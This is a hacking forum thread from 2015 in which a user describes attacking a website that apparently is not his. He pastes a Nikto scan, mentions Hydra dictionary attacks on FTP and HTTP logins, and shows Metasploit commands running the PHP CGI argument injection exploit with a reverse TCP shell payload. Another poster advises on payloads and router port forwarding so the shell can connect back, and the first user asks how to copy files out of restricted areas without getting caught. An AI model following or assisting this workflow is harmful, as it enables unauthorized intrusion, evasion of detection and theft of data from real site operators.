

Forum:[Hack Forums](#)

Thread: [Exploited website server. Not sure what to do next \(Detailed information below\).](#)

casruf - December 10, 2015, 3:26 am

I have scanned the site using Zenmap and I got the list of ports that were open. After that I used Nikto and these are my results from Nikto:

- + Server: Apache/2.2.22 (Debian)
- + Retrieved x-powered-by header: PHP/5.4.4-14+deb7u9
- + The anti-clickjacking X-Frame-Options header is not present.
- + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
- + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
- + No CGI Directories found (use '-C all' to force check all possible dirs)
- + Server leaks inodes via ETags, header found with file /favicon.ico, inode: 10229074, size: 3638, mtime: Mon Jun 1 01:11:01 2009
- + Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
- + Web Server returns a valid response with junk HTTP methods, this may cause false positives.
- + OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
- + OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
- + OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
- + OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
- + OSVDB-3268: /install/: Directory indexing found.
- + OSVDB-3092: /install/: This might be interesting...
- + OSVDB-3233: /icons/README: Apache default file found.
- + 7674 requests: 5 error(s) and 14 item(s) reported on remote host
- + End Time: 2015-11-16 21:47:48 (GMT0) (1831 seconds)

+ 1 host(s) tested

I have tried looking at an exploit for the information found by Nikto however I haven't found any. I found the bit where it said the Web Server returns a false positive interesting because it confirms my results using Hydra. Before I download Kali I tried to dictionary attack the website using ftp but that was too slow, so I switched to http and that was where I got the false positives. 16 passwords for one username or something like that. I was wondering if one or two of you would be so kind as to help me out with a suggestion or two. (Information from weeks ago, I thought it might still be relevant.)

What I wrote above was where I was stuck weeks ago. I have now found the vulnerability. The server is vulnerable to CGI argument injections. I have loaded up metasploit and exploited the web server however I am not sure what to do next.

```
msf > use exploit/multi/http/php_cgi_arg_injection
```

```
msf exploit/php_cgi_arg_injection) > show options
```

Module options (exploit/multi/http/php_cgi_arg_injection):

Name	Current	Setting	Required	Description
----	-----	-----	-----	
PLESK	false	yes		Exploit Plesk
Proxies		no		A proxy chain of format type:host:port[,type:host:port][...]
RHOST		yes		The target address
RPORT	80	yes		The target port
TARGETURI		no		The URI to request (must be a CGI-handled PHP script)
URIENCODING	0	yes		Level of URI URIENCODING and padding (0 for minimum)
VHOST		no		HTTP server virtual host

Exploit target:

Id	Name
--	----
0	Automatic

```
msf exploit/php_cgi_arg_injection) > set RHOST target
RHOST => target
msf exploit/php_cgi_arg_injection) > exploit
```

[*] Started reverse handler on my ip (is this bad?)
msf exploit/php_cgi_arg_injection) >

Mr.0_0 - December 10, 2015, 11:15 am

No, this is not a bad thing, however, I did not notice that:

1.) You did not chose the payload for the exploit, which was left as the default (whatever that is).
Try to use: Code show payloads.

2.) You did not mention that you port forwarded. There is no way for the outside world to connect to your handler except in-private addresses (192, 10, 172, you get it.) because they dont need to go through the routers firewall. You will need to port forward that port on your router.

Good luck

casruf - December 10, 2015, 9:36 pm

I have set the payload, however I am having problems with the port forwarding. It is giving me a syntax error. Also once I port forward and set up a remote desktop connection how would I transfer the data to my computer without getting caught. I only want the html files from all the restricted areas on my computer.

```
-----
msf exploit/php_cgi_arg_injection) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
```